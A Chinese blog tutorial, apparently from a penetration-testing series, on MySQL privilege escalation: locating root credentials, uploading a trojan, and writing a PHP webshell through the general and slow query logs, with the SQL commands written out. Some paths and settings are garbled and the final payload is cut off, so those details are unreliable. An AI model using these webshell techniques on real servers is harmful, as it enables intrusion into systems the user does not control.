后渗透(三)

一.中间件提权

1.mysql提权

首先我们要知道的是在提权之前的几个必要条件

1)必须拥有root账号和密码。2)通过查看Mysql的版本号进行下一步渗透:当版本号Mysql大于5.1时,需在lib目录下新建plugin文件,才可以导出UDF;当大于5.6.34后,它会有安全模式 :--secure-file-priv,禁止使用sql命令写入或写出

其次,对应第一步,我们如何查找root账户和密码

1)通过文件关键词查找可能的存储文件,eg:config,database,conf,data,db,mysql

2)通过下载数据库文件获取账户和密码,eg:user.MYD,user.MYI

在这个步骤里,我们需要注意的是,密码有可能为一半,我们只需要在下方进行寻找另一半就可以了,然后拼接起来,进行MD5解密可以出明文。

到了这,大家可能在疑惑,如何执行第一步,我们可以对网站进行上传木马,然后进入到Mysql执行界面,调用SQL命令执行函数去执行我们的cmd命令,或直接进行修改或下载相关文件。

 

接下来,进行突破mysql安全模式写入shell的讲解,顺便将一个完整的模拟提权的过程展现给大家。

 

上传木马后,可执行文件查改操作(注意版本号)

后渗透(三)_第1张图片

也可进行SQL命令执行函数去执行我们想要的操作,例如可通过查询安装目录进行查看修改等,请自行了解mysql命令。

后渗透(三)_第2张图片

接下来进入我们的突破mysql安全模式写入shell环节

1)安全模式原理:mysql 5.6.34版本以后 secure_file_priv的值默认为NULL,且无法用sql语句对其进行修改。

2)修改设置:

Linux:

可找到/etc/my.cnf的[mysqld],然后在后面添加local-infile=0选项。

windows:

可修改mysql.ini 文件,在[mysqld] 下添加条目: secure_file_priv =

然后保存重启mysql。

3)通过日志利用:

mysql日志主要包含:错误日志、查询日志、慢查询日志、事务日志

思路一:通过全局变量进行getshell(需要SUPER权限)

用到两个全局变量,general_log和general_log_file 

general_log :mysql中记录sql操作的日志,所有的查询语句会记录在这,默认为关闭。

general_log_file :操作日志存放的路径

执行SQL语句:set global general_log='ON'

然后将shell地址写入日志存放地址中:set global general_log_file='C:/phpstudy/www/shell.php'

最后执行sql语句即可,MySQL就会将执行的语句记录到shell.php里,就可以getshell。

思路二:利用慢查询日志getshell

查看变量情况:show variables like '%slow_query_log%';

启用慢查询日志:set global slow_query_log=1;

修改日志文件:set global slow_query_log_file='dC:/phpstudywww/shell.php'

执行sql语句,写入shell(注意此为慢查询,故加入sleep(12),时间大于10秒即可,eg:select ' and sleep(12); )

你可能感兴趣的:(后渗透)